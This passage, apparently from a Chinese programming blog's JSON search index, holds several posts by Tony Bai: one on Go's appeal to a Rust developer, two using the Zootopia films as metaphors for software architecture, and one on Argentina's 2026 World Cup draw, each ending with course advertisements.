href=\"https://tonybai.com/2025/12/08/api-design-pattern-and-implementation\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/08/api-design-pattern-and-implementation\"\u003ehttps://tonybai.com/2025/12/08/api-design-pattern-and-implementation\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的圈子里摸爬滚打这么多年，我经常被问到这样一个问题：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“Tony，我已经熟悉了 Go 的语法，也会用 Gin 写增删改查（CRUD）了，为什么我写的 API 还是经常被前端吐槽？为什么业务逻辑稍微一变，我的代码就要推倒重来？为什么我的接口文档和代码永远对不上？”\u003c/p\u003e","title":"拒绝“面条代码”，做有架构思维的 Go API 设计师"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/07/switching-from-rust-to-go-appeal-of-the-language\n大家好，我是Tony Bai。\n“我从未想过在学习 Rust 之后，我还会转而学习 Go。”\n近日，开发者 Abhishek Singh 的一条推文，以其独特的、充满“诗意”的笔触，在开发者社区引发了广泛的共鸣和讨论。这句自白之所以令人惊讶，是因为它描绘了一条在很多人看来“不可思议”的技术迁徙路径：从 Rust——一门以其严谨、强大、表达力丰富著称的现代语言，转向 Go——一门在许多人眼中“简单”、“啰嗦”甚至“无聊”的语言。\n这篇充满矛盾感的推文，让我们不得不直面那个核心问题：当剥离了那些华丽的语言特性后，Go 这门看似“无聊”的语言，究竟隐藏着何种独特的魅力，足以让一位经历过 Rust 洗礼的开发者最终与之“和解”，甚至“像写诗一样”乐在其中？\n本文，就让我们跟随这位开发者的心路历程，层层深入，一同探寻这个问题的答案。\n“无聊”的表象，是可预测性的极致 Singh 在推文中这样描述 Go 的特质：“简单却不简陋，无聊却又令人兴奋”。让我们先来看“无聊”这一面。\n对于习惯了 Rust 强大的 enum、模式匹配和 Trait 系统的开发者来说，Go 的世界确实显得有些“朴素”甚至“原始”。日常的编码，充斥着对 struct 的简单定义和一遍又一遍的 if err != nil。Go 缺乏许多现代语言中“炫技”的语法糖，这正是其“无聊感”的来源。\n然而，这种“无聊”恰恰是 Go 最重要的魅力之一：极致的可预测性。\n没有隐式控制流：在 Go 中，代码的执行路径是完全可见的。没有 try-catch 带来的“超级 goto”，没有复杂的继承链和方法重载，也没有操作符重载带来的“魔法”。你看到的，就是即将发生的。 错误处理的确定性：if err != nil 虽然繁琐，但它强制开发者在每一个可能出错的地方，都必须做出明确的处理。这使得错误处理路径成为代码中清晰、可见的一部分，而不是一个随时可能从天而降的“异常”。 让我们看一个简单的文件读取例子。在某些语言中，它可能看起来很简洁：\n# Python 示例 try: content = read_file(\u0026#34;some_file.txt\u0026#34;) process(content) except FileNotFoundError: handle_not_found() except PermissionError: handle_permission_denied() 而在Go中，则是我们熟悉的“啰嗦”模式：\n// Go 示例 content, err := readFile(\u0026#34;some_file.txt\u0026#34;) if err != nil { if os.IsNotExist(err) { handleNotFound() } else if os.IsPermission(err) { handlePermissionDenied() } else { // Handle other errors } return } process(content) Python的 try-catch 看起来更“优雅”，但控制流发生了隐式的跳转。而Go的方式，虽然代码行数更多，但错误的处理逻辑是线性的、局部的、无法被忽略的。对于构建大型、可维护的系统而言，这种看似“无聊”的显式和直白，是一种极其宝贵的资产。它降低了代码的认知负荷，让任何一位团队成员都能快速理解并信任一段代码的行为。这是一种褪去华丽外表后，回归工程本质的、成熟的美。\n“简单”的背后，是组合的无限可能 Singh 接着说，Go 是“愚蠢地简单，直到它突然变得复杂”。这份“突然的复杂”，并非源于语言本身的复杂性，而是源于 Go 提供的那些极其简单的原语，在组合之后所爆发出的巨大能量。\n这其中最具代表性的，就是 Go 的并发模型。\n当 Singh 感叹自己“像写诗一样写着 goroutine”时，他所体验到的，正是 Go 并发设计的核心魅力。Go 没有提供复杂的线程库或 async/await 语法，它只给了你两个最基础的构建块：\ngo 关键字：一种极其廉价的、启动并发任务的方式。 channel：一种用于在并发任务之间安全通信和同步的管道。 正是这两个看似“简陋”的原语，让开发者能够像拼接乐高积木一样，以一种直观、优雅的方式，构建出极其复杂的并发模式。从“扇入扇出”(Fan-in/Fan-out) 到“流水线”(Pipelines)，再到优雅的超时和取消控制。\nGo的并发原语，如积木般可被组合成强大的并发模式 这份隐藏在简单之下的兴奋感，正是 Go “简单却不简陋，无聊却又令人兴奋”的最佳注脚。\n“中间态”的定位，是务实主义的最终胜利 最后，让我们回到 Singh 那段最富哲学意味的描述：\n“从未有过前后之分，而是介于两者之间。”\n(Never been before and after but somehow in the middle.)\nGo 在现代编程语言光谱中，确实处于一个独特的**“中间态”。它是一种务实的、为解决问题而生**的工程语言：\n它不像 C 那样强迫你手动管理内存，但通过指针让你保留了对内存布局的基本理解。 它不像 Python 那样高度动态，但通过其简洁的语法和强大的工具链，提供了极高的开发效率。 它不像 Rust 那样追求编译期的极致安全，但通过 GC 和明确的错误处理，在安全性和开发速度之间取得了绝佳的平衡。 对于许多从 Rust 这样的语言过来的开发者，初期的体验很可能是一场“战斗”。你会怀念那些强大的抽象工具。然而，当你跨越了这段“排异反应”期，开始真正用 Go 的方式去思考和构建时，你便会与这门语言达成“和解”。\n小结 长期用过Go语言进行开发的朋友也许都会发现，Go 并没有试图成为一门在理论上最完美、功能上最丰富的语言。它的所有设计，都服务于一个核心目标：让一个由普通工程师组成的团队，能够以一种可持续的方式，高效地构建出健壮、可维护的大型软件。\n在这个热衷于创造复杂性、追逐下一个“银弹”的技术时代，Go的这份“无聊”与“克制”，或许才是一种最稀缺、也最值得我们工程师珍视的品质。\n这，或许就是这门“无聊”语言，最深刻、也最持久的魅力。\n资料链接：https://x.com/0xlelouch_/status/1990139566150566379\n聊聊你的“真香”时刻\nSingh 的经历让我们看到了技术选择的另一面。作为 Gopher，你在使用 Go 的过程中，是否有过从“嫌弃它的繁琐”到“享受它的确定性”的心理转变？或者，你认为 Go 的哪一个“无聊”特性，反而在实际工程中救了你的命？\n欢迎在评论区分享你的故事和感悟！\n如果这篇文章让你对 Go 的设计哲学有了新的理解，别忘了点个【赞】和【在看】，分享给更多在技术选型中迷茫的朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/07/switching-from-rust-to-go-appeal-of-the-language/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/switching-from-rust-to-go-appeal-of-the-language-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/07/switching-from-rust-to-go-appeal-of-the-language\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/07/switching-from-rust-to-go-appeal-of-the-language\"\u003ehttps://tonybai.com/2025/12/07/switching-from-rust-to-go-appeal-of-the-language\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“我从未想过在学习 Rust 之后，我还会转而学习 Go。”\u003c/p\u003e\n\u003cp\u003e近日，\u003ca href=\"https://x.com/0xlelouch_/status/1990139566150566379\"\u003e开发者 Abhishek Singh 的一条推文\u003c/a\u003e，以其独特的、充满“诗意”的笔触，在开发者社区引发了广泛的共鸣和讨论。这句自白之所以令人惊讶，是因为它描绘了一条在很多人看来“不可思议”的技术迁徙路径：从 Rust——一门以其严谨、强大、表达力丰富著称的现代语言，转向 Go——一门在许多人眼中“简单”、“啰嗦”甚至“无聊”的语言。\u003c/p\u003e","title":"“我从未想过学完 Rust 后会转向 Go”—— 这门“无聊”的语言究竟有什么魅力？"},{"content":"看完《疯狂动物城2》，我发现“完美架构”的谎言被戳破了 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n看完《疯狂动物城2》，我发现“完美架构”的谎言被戳破了 十二月 7, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/12/07/zootopia-2-perfect-architecture-lie-exposed\n大家好，我是Tony Bai。\n还记得昨天那篇文章里，我还在为那个“标题党”的题目（《如果〈疯狂动物城〉是一个分布式系统…》）向大家“真诚致歉”吗？\n当时，带着重温第一部的滤镜，我信誓旦旦地跟大家吹牛，说动物城简直就是 Go 语言构建的云原生架构典范——高效、隔离、完美。\n但这周六下午看完《疯狂动物城2》，我不得不承认：草率了，这次“打脸”来得太快。\n如果说第一部展示了架构师眼中的“理想国”，那么第二部则残忍地揭开了**“完美架构”背后的谎言**。\n看着银幕上那条被大家畏惧、却掌握着关键线索的蛇（Gary），以及那个被冰雪掩埋的真相，我脊背发凉。这哪里是童话？这分明就是一部**《大型遗留系统（Legacy System）维护血泪史》**。\n作为架构师，我在这部电影里看到了三个关于“新老技术”的扎心隐喻。\n被埋葬的“爬行动物”：那些我们不敢碰的 Legacy Code 在电影里，我们得知了一个惊天秘密：动物城引以为傲的“温控系统”和城市规划，并非现在的创始人（林雪猁, Lynxley）设计的，而是源自一位爬行动物——Agnes（Gary的曾祖母）。\n但为了打造一个看似光鲜、只有可爱哺乳动物的“新城区”（Tundratown），管理者选择了掩盖历史。他们直接把爬行动物的家园（Reptile Ravine）埋在了厚厚的冰雪之下，假装它们从未存在。\n这一幕，像极了我们对待**“遗留代码（Legacy Code）”**的态度。\n在现代化的 Go 微服务、Kubernetes 集群（Tundratown）之下，往往深埋着一套跑了20年的、由 C/C++ 甚至 Fortran 编写的核心交易系统（爬行动物）。\n它们古老、丑陋（代码风格甚至没有缩进）；\n它们看起来危险（改一行代码可能崩全站，就像蛇会咬人）；\n所以，我们选择**“封印”**它。我们用一层又一层的 Wrapper、API 网关把它包裹起来，假装我们已经拥有了一个全新的、完美的系统。\n但电影告诉我们：物理掩埋解决不了问题。 当危机来临，那些被忽视的底层逻辑，终将“破土而出”。\nGary 的热感应：老技术独有的“超能力” 电影里有一段非常精彩的情节：朱迪和尼克束手无策时，是蛇 Gary 利用响尾蛇特有的**“热感应”**能力，看透了迷雾，找到了线索。\n这让我想起，每当新技术（如 AI、Web3）甚嚣尘上时，我们往往会轻视那些“老古董”。\n我们觉得 Go/Rust 这种现代语言无所不能。 我们觉得 C 语言指针复杂、汇编晦涩、SQL 存储过程老土。 但真到了极端场景——比如需要极致的性能优化、极底层的硬件交互时，我们发现，还得靠那些“老家伙”。Gary 代表的，正是那些虽不时髦、但拥有独特“底层视角”的技术能力。\n正如 Go 语言之所以强大，不是因为它切断了过去，而是因为它通过 CGO、通过汇编支持，保留了与底层世界对话的能力。\n不要傲慢地认为新技术能替代一切。有时候，解开死锁的钥匙，藏在一行 10 年前写的 C 代码里。\n创始人的日记：文档与“去伪存真” (以下内容涉及核心剧透)\n电影的高潮，是朱迪必须找到 Agnes 留下的日记本和专利书，才能揭穿谎言，拯救城市。\n这本日记，不就是我们梦寐以求的**“核心架构文档”**吗？\n在很多大厂里，随着人员流动（老一辈架构师离职），系统的“设计初衷”往往丢失了。后来的维护者（Lynxley）为了 KPI，可能会歪曲系统原有的设计，堆砌不合理的“补丁”，甚至把系统改造成一个不可维护的怪兽。\n朱迪和尼克的冒险，本质上是一次**“考古式重构”**：\n阅读源码（寻找日记）； 理解上下文（Agnes 的初衷是共存，而不是隔离）； 修正架构（打破冰墙，让爬行动物回归）。 这给所有 Go 开发者提了个醒：写代码时，请留下你的“日记”。 好的注释和文档，是连接过去与未来的纽带。不要让后来者通过“猜谜”来维护你的系统。\n写在最后 电影结局，爬行动物回到了动物城，与哺乳动物和谐共处。\n二宝问我：“爸爸，蛇和兔子真的能做朋友吗？”\n我说：“能啊，只要它们互相尊重。”\n技术世界也是如此。我们推崇 Go 的简洁、云原生的弹性，但这并不意味着我们要鄙视那些运行在角落里的单体应用或老旧语言。\n真正的“完美架构”，不是推倒重来（Rewrite），而是包容与演进（Evolve）。\n它能容得下时髦的微服务（朱迪），也能接纳古老的遗留系统（Gary）。它承认系统的复杂性，并用工程化的手段管理这种复杂，而不是掩耳盗铃。\n走出影院，看着手里 2025 年的新技术，再想想公司里那堆跑了 10 年的老代码，我突然多了一份敬畏。\n原来，致敬历史，才是通往未来的捷径。\n互动话题：\n在你的职业生涯中，有没有哪一次“挖坟”经历（维护极老的遗留代码），让你意外地学到了很多东西？或者，你有没有遇到过像 Gary 一样看似可怕、实则核心的“祖传代码”？\n欢迎在评论区分享你的“考古”故事！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/07/zootopia-2-perfect-architecture-lie-exposed/","summary":"\u003ch1 id=\"看完疯狂动物城2我发现完美架构的谎言被戳破了---tony-bai\"\u003e看完《疯狂动物城2》，我发现“完美架构”的谎言被戳破了 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"看完《疯狂动物城2》，我发现“完美架构”的谎言被戳破了"},{"content":"J组！阿根廷开启2026卫冕之旅：梅西，这一次，请尽情享受足球！ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nJ组！阿根廷开启2026卫冕之旅：梅西，这一次，请尽情享受足球！ 十二月 6, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/12/06/argentina-2026-world-cup-title-defense-messi-enjoy-football\n大家好，我是Tony Bai。\n四年（其实是三年半）的时光，快得像潘帕斯草原上掠过的风。\n仿佛昨天，我们还在多哈的卢塞尔球场，在这个星球上最漫长、最窒息的决赛夜里，陪着那个男人哭，陪着那个男人笑。那一夜，青春圆满，诸神归位。我们终于可以骄傲地在胸前绣上第三颗星。\n一转眼，2026美加墨世界杯的脚步近了。当昨夜的抽签结果尘埃落定，看到阿根廷落位 J组，我的心里没有了四年前那种“不成功便成仁”的悲壮，取而代之的，是一份从容与平静。\nJ组：阿根廷、阿尔及利亚、奥地利、约旦\n这是一支上上签吗？也许是。这是一支冠军签吗？只有时间知道。\n但对我，对无数阿根廷和梅西的球迷来说，这支签意味着——我们的故事，有了新的续篇。\n对手扫描：不轻视，亦不畏惧 先来聊聊这一组的对手。在这个扩军到48支球队的全新赛场上，没有绝对的弱旅，只有未知的挑战。\n奥地利：欧洲的硬骨头\n这或许是小组赛最大的考验。奥地利队球风硬朗，战术执行力极强，有着典型的欧洲球队纪律性。他们就像一块坚硬的试金石，用来检验卫冕冠军的防线成色再合适不过。和他们的比赛，注定不会轻松，但这正是我们需要的热身强度。\n阿尔及利亚：北非之狐\n非洲球队在世界杯上从来都是不可忽视的力量。阿尔及利亚技术细腻，身体素质出色。面对这种灵巧与力量兼具的对手，阿根廷需要打起十二分精神，利用我们的控制力和经验去主导比赛。\n约旦：亚洲的新兴力量\n对于约旦队，我们更多的是陌生。作为亚洲杯的亚军级别球队，他们有着极强的拼劲和韧性。这场比赛，或许是斯卡洛尼演练进攻套路、让马斯坦托诺等年轻小将感受世界杯氛围的最佳舞台。\n总体来说： 这是一个“以我为主”的分组。只要潘帕斯雄鹰正常展翅，小组头名出线是底线，也是必须完成的任务。\n卫冕魔咒？我们早已看淡 提到世界杯，就绕不开那个令人色变的“卫冕冠军魔咒”。\n历史上，能够成功卫冕世界杯的球队凤毛麟角。强如当年的法国、意大利、德国、西班牙，都曾在卫冕之路上折戟沉沙，甚至小组出局。\n注：在前22届世界杯里，一共只出现过2次卫冕成功的，分别是1938年法国世界杯，意大利卫冕成功，1962年智利世界杯，巴西卫冕成功。\n阿根廷会打破魔咒吗？\n说实话，作为一名看了几十年球的老阿根廷粉，我心里反倒没有那么重的包袱。\n2014年的亚军以及2022年的那一冠，已经耗尽了我所有的眼泪和祈祷，也填补了心中所有的遗憾。2022年那一冠，是上帝对梅西最好的褒奖，也是对阿根廷足球最好的交代。\n这一次，我们不再是背负着沉重十字架的苦行僧，我们是享受比赛的卫冕之王。\n如果能卫冕，那是神迹的延续，是再一次的疯狂；如果不能，那也是足球规律的使然，我们依然拥有那颗金色的第三颗星，依然拥有那个最好的里奥·梅西。\n这种心态的转变，或许才是阿根廷队最可怕的武器。轻装上阵，往往能爆发出惊人的能量。\n梅西：最后一舞，只愿你快乐 2026年，梅西将年近39岁。\n我们心里都清楚，这可能是他的最后一届世界杯了。\n这一次，我们不再奢求他像2014年那样单骑闯关，也不再苛求他像2022年那样场场Carry。\n无论他是首发登场，还是替补奇兵；无论他是踢满全场，还是在场边鼓掌激励队友……只要他还在那里，只要他还穿着那件蓝白球衣，我们的心就是安定的。\n他已经是公认的球王，已是GOAT，他不需要再向任何人证明什么。\n对于2026，我唯一的期待，就是希望梅西能开心。\n希望他能享受每一次触球，享受每一次传球，享受在草皮上奔跑的每一秒。希望没有伤病，没有过度的压力，只有足球最纯粹的快乐。\n就像他在迈阿密那样，脸上挂着笑容，眼里闪着光。\n结语：VAMOS ARGENTINA！ J组的签位已定，新的征程即将开启。\n斯卡洛尼的战车再次启动，恩佐、麦卡利斯特、阿尔瓦雷斯这些曾经的小将已经成长为中流砥柱，更加年轻的血液正在涌动。\n我们期待胜利，但我们更珍惜相聚。\n各位阿迷梅粉们，球衣准备好了吗？啤酒和马黛茶准备好了吗？\n让我们一起，陪着阿根廷，陪着梅西，去迎接这场美加墨的足球盛宴。不问终点，只问热爱。\n梅西，请尽情享受你的最后一舞吧！\nVAMOS ARGENTINA！\n留言区聊聊：\n2026世界杯，你对阿根廷最大的期待是什么？是再夺一冠，还是仅仅希望看到梅西多踢几场？\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/06/argentina-2026-world-cup-title-defense-messi-enjoy-football/","summary":"\u003ch1 id=\"j组阿根廷开启2026卫冕之旅梅西这一次请尽情享受足球---tony-bai\"\u003eJ组！阿根廷开启2026卫冕之旅：梅西，这一次，请尽情享受足球！ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"J组！阿根廷开启2026卫冕之旅：梅西，这一次，请尽情享受足球！"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/06/zootopia-distributed-system-written-in-go\n大家好，我是Tony Bai。\n文章开始前，先给各位道个歉，今天的标题确实有点“党”。\n毕竟，非要说一个满是毛茸茸动物的动画片是用 Go 语言写的，这脑洞开得确实有点大。\n但请原谅一个老程序员的“职业病”。\n为了迎接本周末《疯狂动物城2》的观影家庭活动，上个周末，我特意腾出时间，陪家里5岁的二娃重温了第一部经典。原本我是想好好享受亲子时光的，可看着看着，作为写了十几年代码的程序员，我的关注点却莫名其妙地“跑偏”了。\n当看到那座容纳了冰川、沙漠、雨林，拥有千万级“居民并发量”的超级城市运转得如此丝滑时，我脑子里的画面变了：这越看越像一个设计精良的云原生分布式系统；而那个身手敏捷的兔子警官，怎么看都像一只跑在服务器里的 Gopher……\n于是，我忍不住这股“胡思乱想”的冲动，决定一本正经地胡说八道一番。\n如果你也好奇，当一个架构师戴着“代码滤镜”看电影时，到底看到了什么？不妨继续听我聊聊\n在我眼里，如果要把这座“动物城”搬到服务器上，它的底层架构，一定是用 Go 语言写的。\n为什么这么说？因为陪娃看电影的过程中，我仿佛看到了 Go 语言设计哲学的完美具象化。\n那个巨大的“空调墙”与容器化 电影最震撼的一幕，莫过于朱迪坐火车进城。\n火车穿过烈日炎炎的撒哈拉广场（Sahara Square），下一秒就钻进了冰天雪地的冰川镇（Tundratown）。\n女儿指着屏幕好奇地问我：“爸爸，为什么那边那么热，这边这么冷，它们在一起不会化掉吗？”\n我指着那道巨大的分隔墙说：“因为有那堵墙呀，它把热气和冷气隔开了。”\n在那一刻，我脑子里闪过的其实是 Docker 和 Kubernetes。\n在传统的系统里，不同环境的应用混在一起很容易“打架”（环境冲突）。而在动物城里，为了让北极熊（需要低温库）和骆驼（需要高温环境）在同一台“物理机”上共存，设计师构建了最极致的环境隔离。\n这不正是 Go 语言统治的云原生世界吗？\nGo 语言构建了 Docker，构建了 Kubernetes。正是这些基础设施，像那道巨大的空调墙一样，通过 Namespace（命名空间）和 Cgroup（资源限制），让成千上万个习性迥异的“服务”互不干扰，在此消彼长的流量洪峰中，不仅没“化掉”，还活得很好。\n树懒“闪电”与高并发的噩梦 重温经典，依然被树懒“闪电”查车牌那段笑出内伤。\n女儿笑得在沙发上捧腹：“爸爸，他太慢了！朱迪急死了！”\n我跟着笑，但心里却是一阵恶寒——这简直是每一个后端工程师的噩梦：主线程阻塞（Blocking I/O）。\n试想一下，如果动物城的市政大厅系统是单线程的，一只树懒卡在窗口办业务，后面排队的一万只动物全得等着。整个城市的吞吐量（QPS）瞬间归零，系统直接宕机。\n但动物城（Zootopia）作为一个千万人口的超大系统，依然运转良好，说明它底层一定解决了这个问题。\n如果是用 Go 写的，这就很好解释了。\nGo 的设计哲学里，最核心的就是**“高并发”**。面对慢吞吞的“树懒式”任务（比如网络等待、文件读取），Go 不会傻等。它会派出一个轻量级的 goroutine（协程）去盯着树懒，主线程立马转头去处理下一只豹子或兔子的请求。\n在这个庞大的系统里，也许有成千上万只“树懒”在慢动作，但整个城市依然像朱迪一样反应灵敏、健步如飞。这就是 Go 语言 GMP 调度模型的魔力。\n朱迪警官：小身材，大能量 最后，说说我们的主角，兔子朱迪。\n在满是大象、犀牛、北极熊的警局里，朱迪显得太小了。她没有庞大的身躯，起初也不被看好，被安排去贴罚单。\n这像极了 Go 语言刚诞生时的处境。相比于 Java（大象）的厚重、C++（犀牛）的复杂，Go 显得语法简单、标准库精简，甚至生成的二进制文件都很小，一度被认为是“玩具语言”。\n但朱迪凭什么破了大案？\n靠的是灵活性、执行力和低资源消耗。\n她能钻进犀牛进不去的狭窄管道（相对低内存的占用），她能在他人的视野盲区快速穿梭（极速启动）。\n在构建现代微服务架构时，我们越来越不喜欢笨重的“单体应用”，而倾向于像朱迪这样小而美、独立部署、逻辑清晰的服务。\nGo 语言就是代码世界里的“朱迪”。它剔除了所有花哨的语法糖，强制你写出清晰（甚至有点死板）的代码，但正是这种克制和高效，让它成为了支撑起整个动物城（云原生生态）最坚实的骨架。\n写在最后 电影结束了，女儿意犹未尽，还在模仿朱迪的动作。\n她问我：“爸爸，下周我们去看《疯狂动物城》第二部，朱迪会不会变得更厉害？”\n我说：“肯定会啊，因为她一直在努力让这个城市变得更好。”\n作为程序员，我们写下的每一行代码，何尝不是在构建一个虚拟的“动物城”？我们选择 Go，选择各种架构，不过是为了让这个系统更包容、更稳定，让里面的“居民”生活得更好。\n这周末，我将带娃直击《疯狂动物城2》。 听说这一次，动物城面临了前所未有的复杂危机。\n届时，我会继续为大家带来**“程序员眼中的《疯狂动物城2》”**，看看在新的挑战下，我们的“系统架构”又该如何进化？\n敬请期待！\n互动话题：\n在重温经典电影时，你有没有因为“职业病”而产生过什么奇怪的联想？欢迎在评论区分享你的脑洞！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/06/zootopia-distributed-system-written-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" 